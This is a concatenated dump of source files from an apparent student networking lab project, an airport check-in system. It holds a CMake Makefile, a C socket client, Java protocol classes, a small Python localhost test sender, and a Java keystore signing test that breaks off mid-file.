$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.cpp.i
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.cpp.i
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.s: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.s
# target to generate assembly for a file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.cpp.s:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.cpp.s
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.cpp.s
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.o: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.o
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.o
# target to build an object file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.o:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.o
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.o
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.o
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.i: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.i
# target to preprocess a source file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.i:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.i
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.i
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.s: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.s
# target to generate assembly for a file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.s:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.s
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp.s
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.o: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.o
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.o
# target to build an object file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.o:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.o
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.o
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.o
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.i: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.i
# target to preprocess a source file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.i:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.i
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.i
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.s: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.s
# target to generate assembly for a file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.s:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.s
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp.s
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.o: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.o
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.o
# target to build an object file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.o:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.o
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.o
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.o
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.i: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.i
# target to preprocess a source file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.i:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.i
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.i
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.i
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.s: Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.s
# target to generate assembly for a file
Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.s:
$(MAKE) -f CMakeFiles/Application_CIAChat.dir/build.make CMakeFiles/Application_CIAChat.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.s
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.s
.PHONY : Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.cpp.s
# Help Target
help:
@echo "The following are some of the valid targets for this Makefile:"
@echo "... all (the default if no target is provided)"
@echo "... clean"
@echo "... depend"
@echo "... rebuild_cache"
@echo "... edit_cache"
@echo "... Application_CIAChat"
@echo "... Librairies"
@echo "... Application_CIAChat_IN.o"
@echo "... Application_CIAChat_IN.i"
@echo "... Application_CIAChat_IN.s"
@echo "... ClientException.o"
@echo "... ClientException.i"
@echo "... ClientException.s"
@echo "... IACOP.o"
@echo "... IACOP.i"
@echo "... IACOP.s"
@echo "... IACOPException.o"
@echo "... IACOPException.i"
@echo "... IACOPException.s"
@echo "... Launcher.o"
@echo "... Launcher.i"
@echo "... Launcher.s"
@echo "... Message.o"
@echo "... Message.i"
@echo "... Message.s"
@echo "... MulticastSocket.o"
@echo "... MulticastSocket.i"
@echo "... MulticastSocket.s"
@echo "... QuitApp.o"
@echo "... QuitApp.i"
@echo "... QuitApp.s"
@echo "... ThreadReception.o"
@echo "... ThreadReception.i"
@echo "... ThreadReception.s"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.o"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.i"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/ErrnoException.s"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.o"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.i"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/HostException.s"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.o"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.i"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/PropertiesException.s"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.o"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.i"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Exceptions/SocketException.s"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.o"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.i"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/Properties/Properties.s"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.o"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.i"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/ClientSocket.s"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.o"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.i"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/HostInfo.s"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.o"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.i"
@echo "... Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/SocketUtilities/Socket.s"
.PHONY : help
#=============================================================================
# Special targets to cleanup operation of make.
# Special rule to run CMake to check the build system integrity.
# No rule that depends on this can have commands that come from listfiles
# because they might be regenerated.
cmake_check_build_system:
$(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 0
.PHONY : cmake_check_build_system
<file_sep>/part_1/CheckIn-Server/Libcsv.h
#ifndef LIBCSV_H
int ReadByte(int, char*, char*);
int WriteByte(int, char*, char*);
#endif
<file_sep>/LaboReseauxBinome/Evaluation6/TICKMAP/src/tickmap/reponse/ReponseTICKMAP_vols.java
package tickmap.reponse;
import entities.Flight;
import java.io.Serializable;
import java.util.ArrayList;
import server.Reponse;
public class ReponseTICKMAP_vols extends Reponse implements Serializable {
ArrayList<Flight> flights;
private ReponseTICKMAP_vols(String message, boolean successful, ArrayList<Flight> flights) {
super(message, successful);
this.flights = flights;
}
public static ReponseTICKMAP_vols OK(ArrayList<Flight> flights){
return new ReponseTICKMAP_vols("", true, flights);
}
public static ReponseTICKMAP_vols KO(String message){
return new ReponseTICKMAP_vols(message, false, null);
}
public ArrayList<Flight> getFlights() {
return flights;
}
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/Tests/PropertiesTest.cpp
#include <iostream>
#include "../Properties/Properties.h"
#define correctFilePath "Librairies/Tests/Properties.prop"
#define erronousFilePath "Librairies/Tests/nope.prop"
int main(){
cout << "Début des tests...." << endl;
try{
cout << "***** Test de lecture d'un fichier existant *****" << endl;
Properties *properties = new Properties(correctFilePath, "=");
cout << " Test de getValue avec clé existante : " << endl;
cout << " résultat : clé=LIVRAISONS_SEPARATOR_ZONE valeur=" << properties->getValue("LIVRAISONS_SEPARATOR_ZONE") << endl;
cout << " Test de getValue avec clé existante : " << endl;
cout << " résultat : clé=HOST valeur=" << properties->getValue("HOST") << endl;
cout << " Test de getValue avec clé existante mais sans valeur : " << endl;
cout << " résultat : clé=SANSVALEUR valeur=" << properties->getValue("SANSVALEUR") << endl;
cout << " is empty :";
(!properties->getValue("SANSVALEUR").length()) ? cout << "TRUE" : cout << "FALSE";
cout << endl;
cout << " Test de getValue avec clé inexistante : " << endl;
cout << " résultat : clé=LIVRAISONS valeur=" << properties->getValue("LIVRAISONS") << endl;
cout << " is empty :";
(!properties->getValue("LIVRAISONS").length()) ? cout << "TRUE" : cout << "FALSE";
cout << endl;
delete properties;
}catch (PropertiesException& ex){
cout << "Une erreur est survenue lors de l'instantiation de la classe Properties : " << ex.what() << endl;
}
try{
cout << endl << "***** Test de lecture d'un fichier inexistant *****" << endl;
Properties *properties = new Properties(erronousFilePath, "=");
cout << "fin lecture de fichier inexistant" << endl;
delete properties;
}catch (PropertiesException& ex){
cout << ex.what() << endl;
}
return 0;
}<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/Exceptions/HostException.cpp
#include "HostException.h"
HostException::HostException(const std::string msg) : std::exception(), message(msg) {}
HostException::HostException(const char *msg) : std::exception(), message(msg) {}
HostException::HostException(const HostException &orig) : std::exception(orig), message(orig.message) {}
HostException::~HostException() throw() {}
const char* HostException::what() const throw(){
return this->message.c_str();
}
<file_sep>/LaboReseauxBinome/Evaluation1/Serveur_CheckIn/Launcher.cpp
#include <iostream>
#include <csignal>
#include "Serveur_CheckIn.h"
void fonctionSig(int);
Serveur_CheckIn *serveur_checkIn = nullptr;
using namespace std;
int main(int argc, char* argv[]) {
if (argc < 2) {
cerr << "Please provide the properties file as argument when launching me!" << endl;
exit(1);
}
affServeur(1, "Launcher starting...");
struct sigaction sa;
sa.sa_handler = fonctionSig;
sa.sa_flags = 0;
sigemptyset(&sa.sa_mask);
sigaddset(&sa.sa_mask, SIGUSR1);
sigaction(SIGINT, &sa, nullptr);
try {
serveur_checkIn = new Serveur_CheckIn(argv[1]);
serveur_checkIn->init();
serveur_checkIn->run();
}catch(const exception &e){
affServeur(1, e.what());
}
delete serveur_checkIn;
affServeur(1, "Server is closing.\nGood bye!\n\n");
return 0;
}
void fonctionSig(int signal){
affServeur(1, "Signal received : calling ~Serveur_CheckIn()...");
delete serveur_checkIn;
affServeur(1, "Server is closing.\nGood bye!\n\n");
exit(0);
}<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/cmake-build-debug/CMakeFiles/test_hostInfo.dir/cmake_clean.cmake
file(REMOVE_RECURSE
"CMakeFiles/test_hostInfo.dir/Tests/HostInfoTest.cpp.o"
"CMakeFiles/test_hostInfo.dir/Exceptions/CsvException.cpp.o"
"CMakeFiles/test_hostInfo.dir/Exceptions/PropertiesException.cpp.o"
"CMakeFiles/test_hostInfo.dir/Exceptions/SocketException.cpp.o"
"CMakeFiles/test_hostInfo.dir/Exceptions/ErrnoException.cpp.o"
"CMakeFiles/test_hostInfo.dir/Exceptions/HostException.cpp.o"
"CMakeFiles/test_hostInfo.dir/Exceptions/CIMPException.cpp.o"
"CMakeFiles/test_hostInfo.dir/SocketUtilities/HostInfo.cpp.o"
"CMakeFiles/test_hostInfo.dir/SocketUtilities/Socket.cpp.o"
"CMakeFiles/test_hostInfo.dir/SocketUtilities/ClientSocket.cpp.o"
"CMakeFiles/test_hostInfo.dir/SocketUtilities/ServerSocket.cpp.o"
"test_hostInfo.pdb"
"test_hostInfo"
)
# Per-language clean rules from dependency scanning.
foreach(lang CXX)
include(CMakeFiles/test_hostInfo.dir/cmake_clean_${lang}.cmake OPTIONAL)
endforeach()
<file_sep>/part_1/CheckIn-Server/tcpsend.py
#!/usr/bin/python3
#-*- coding: utf-8 -*-
import socket
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = ('127.0.0.1', 65000)
print('Connexion à {} au port {}'.format(*server_address))
sock.connect(server_address)
#message = b'New_User:Hello;World'
message = b'Login:Hello;World'
#message = b'Close'
print('Envoi {!r}'.format(message))
sock.sendall(message)
sock.close()
<file_sep>/part_1/client/main.cpp
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include "Network-Cli.h"
//#include "Client.conf"
#include "Network-Cli.h"
int PORT = 0;
int SIZEBUF = 0;
int soc;
int main()
{
FILE* config;
config = fopen("Client.conf", "r+");
fseek(config, 5, SEEK_SET);
char port[6], sizebuf[6];
fgets(port, 6, config);
PORT = atoi(port);
fseek(config, 9, SEEK_CUR);
fgets(sizebuf, 3, config);
SIZEBUF = atoi(sizebuf);
fclose(config);
char buffer[SIZEBUF];
char id[20];
char password[20];
int accessOK = 0;
char bin;
logout:;
if(Socket(&soc, PORT) == -1)
{
perror("Err. Sockette");
exit(-1);
}
do
{
system("clear");
printf("***** CheckIn Application - Login *****\n\n");
printf("Login:\n");
scanf("%s", id);
printf("Password:\n");
scanf("%s", password);
strcpy(buffer, "Login:");
strcat(buffer, id);
strcat(buffer, ";");
strcat(buffer, password);
if(Sending(&soc, buffer, SIZEBUF) == -1)
{
perror("Err. Sending");
exit(-1);
}
if(Receiving(&soc, buffer) == -1)
{
perror("Err. Receiving");
exit(-1);
}
if(strcmp(buffer, "Logout") == 0)
{
printf("Serveur down !\n");
close(soc);
exit(-1);
}
if(strcmp(buffer, "Login:OK") == 0)
{
accessOK = 1;
printf("Accès Autorisé !\n");
sleep(2);
}
else
{
printf("Login ou Password Erroné !\n");
sleep(2);
}
}
while(accessOK != 1);
char choix;
int end = 0;
char numTicket[20];
char nb_passagers[3];
char poids_bagage[3];
char Valise[2];
do
{
strcpy(buffer, "");
system("clear");
printf("***** CheckIn Application - Menu Principal *****\n\n");
printf("1. Vérifier un Billet\n");
printf("2. Déconnexion\n");
printf("3. Quitter\n");
fgets(&choix, 2, stdin);
switch(choix)
{
case '1': system("clear");
printf("***** CheckIn Application - Vérification des Billets *****\n\n");
printf("Numéro de Ticket:\n");
scanf("%s", numTicket);
printf("Nombre de passagers:\n");
scanf("%s", nb_passagers);
strcpy(buffer, "CheckTicket:");
strcat(buffer, numTicket);
strcat(buffer, ";");
strcat(buffer, nb_passagers);
if(Sending(&soc, buffer, SIZEBUF) == -1)
{
perror("Err. Sending");
exit(-1);
}
if(Receiving(&soc, buffer) == -1)
{
perror("Err. Receiving");
exit(-1);
}
if(strcmp(buffer, "Logout") == 0)
{
printf("Serveur down !\n");
close(soc);
exit(-1);
}
if(strcmp(buffer, "CheckTicket:OK") == 0)
{
printf("Ticket Valide !\n");
sleep(2);
for(int i = 0; i < atoi(nb_passagers); i+=1)
{
retry:;
system("clear");
printf("***** CheckIn Application - Vérification des bagages *****\n\n");
printf("Poids du bagage n°%d (en kg):\n", i+1);
scanf("%s", poids_bagage);
do
{
printf("Valise en possession (O ou N):\n");
scanf("%s", Valise);
}
while(strcmp(Valise, "O") != 0 && strcmp(Valise, "N") != 0);
strcpy(buffer, "CheckLuggage:");
strcat(buffer, poids_bagage);
strcat(buffer, ";");
strcat(buffer, Valise);
if(Sending(&soc, buffer, SIZEBUF) == -1)
{
perror("Err. Sending");
exit(-1);
}
if(Receiving(&soc, buffer) == -1)
{
perror("Err. Receiving");
exit(-1);
}
if(strcmp(buffer, "Logout") == 0)
{
printf("Serveur down !\n");
close(soc);
exit(-1);
}
if(strcmp(buffer, "CheckLuggage:OK") == 0)
{
printf("Bagage de la personne %d: OK\n", i+1);
}
else if(strcmp(buffer, "CheckLuggage:TOO_BIG") == 0)
{
printf("Bagage de la personne %d: Trop lourd\n", i+1);
}
else
{
printf("Bagage de la personne %d: Err. lors de la réception\n", i+1);
sleep(2);
goto retry;
}
sleep(2);
}
}
else
{
printf("Ticket Invalide !\n");
sleep(2);
}
break;
case '3': end = 1;
case '2': printf("Logout...\n");
strcpy(buffer, "Logout");
if(Sending(&soc, buffer, SIZEBUF) == -1)
{
perror("Err. Sending");
exit(-1);
}
printf("soc = %d\n", soc);
if(end != 1)
goto logout;
accessOK = 0;
break;
default: printf("Choix Erroné: %c\n", choix);
}
}
while(end != 1);
close(soc);
return 1;
}
<file_sep>/part_3/Application_Bagages/src/Socket/RequestDigest.java
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package Socket;
import java.io.Serializable;
/**
*
* @author jona1993
*/
public class RequestDigest implements Serializable{
String proto;
String text;
byte[] digest;
long temps;
double random;
public RequestDigest() {
proto = "";
text = "";
digest = new byte[10];
temps = 0;
random = 0;
}
public RequestDigest(String proto, String text, byte[] digest, long temps, double random) {
this.proto = proto;
this.text = text;
this.digest = digest;
this.temps = temps;
this.random = random;
}
//<editor-fold defaultstate="collapsed" desc=" Gets / Sets ">
public byte[] getDigest() {
return digest;
}
public String getProto() {
return proto;
}
public double getRandom() {
return random;
}
public long getTemps() {
return temps;
}
public String getText() {
return text;
}
public void setDigest(byte[] digest) {
this.digest = digest;
}
public void setProto(String proto) {
this.proto = proto;
}
public void setRandom(double random) {
this.random = random;
}
public void setTemps(long temps) {
this.temps = temps;
}
public void setText(String text) {
this.text = text;
}
//</editor-fold>
}
<file_sep>/LaboReseauxBinome/Evaluation1/Serveur_CheckIn/Serveur_CheckInThread.h
#ifndef SERVEURCHECKIN_SERVEUR_CHECKINTHREAD_H
#define SERVEURCHECKIN_SERVEUR_CHECKINTHREAD_H
#include <string>
#include <sstream>
#include <pthread.h>
#include <unistd.h>
#include <csignal>
#include <iomanip>
#include <ctime>
#include <regex>
#include "Serveur_CheckIn.h"
#include "../Librairies/CSV/TicketCsvHandler.h"
#include "../Librairies/SocketUtilities/Socket.h"
#include "../Librairies/CIMP/CIMP.h"
//#define affThread(lvl, msg) printf("\e[34;1m|%.*s>\e[0;1m [th_%s] [%s] \e[0m%s\n", (lvl)*8, "========================", getThreadId(), __PRETTY_FUNCTION__, msg);fflush(stdout)
#define affThread(lvl, msg) printf("\e[34;1m|%.*s>\e[0;1m [th_%s] [%s] \e[0m%s\n", (lvl)*8, "========================", getThreadId(), __FUNCTION__, msg);fflush(stdout)
using namespace std;
void * fctThread(void* param);
const char* getThreadId();
bool ticketNumberIsValid(const string ticketNumber);
string getTodayString();
void fctSIGUSR1(int sign);
void fctEndOfThread(void * param);
#endif //SERVEURCHECKIN_SERVEUR_CHECKINTHREAD_H
<file_sep>/LaboReseauxBinome/TestProject/src/testproject/TestProject.java
package testproject;
import java.io.FileInputStream;
import java.io.IOException;
import java.security.KeyStore;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.Security;
import java.security.Signature;
import java.security.cert.X509Certificate;
import java.sql.SQLException;
import java.util.Enumeration;
import java.util.Vector;
import javax.swing.JList;
import javax.swing.JPasswordField;
import org.bouncycastle.jce.provider.BouncyCastleProvider;
public class TestProject {
static
{
Security.addProvider(new BouncyCastleProvider());
}
public static void main(String[] args) throws IOException, ClassNotFoundException, SQLException {
try {
KeyStore ks = KeyStore.getInstance("JKS");
ks.load(new FileInputStream("D:\\certificat\\JKS\\billet_keystore.jks"),"password".toCharArray());
Enumeration en = ks.aliases();
String aliasCourant = null;
Vector vectaliases = new Vector();
System.out.println("Recuperation de la cle privee");
PrivateKey cléPrivée;
cléPrivée = (PrivateKey) ks.getKey("billetKey", "<PASSWORD>".toCharArray());
System.out.println(" *** Cle privee recuperee = " + cléPrivée.toString());
String Message = "Code du jour : CVCCDMMM - bye";
System.out.println("Message a envoyer au serveur : " + Message);
byte[] message = Message.getBytes();
System.out.println("Instanciation de la signature");
Signature s = Signature.getInstance("SHA1withDSA","BC");
System.out.println("Initialisation de la signature");
s.initSign(cléPrivée);
System.out.println("Hachage du message");
s.update(message);
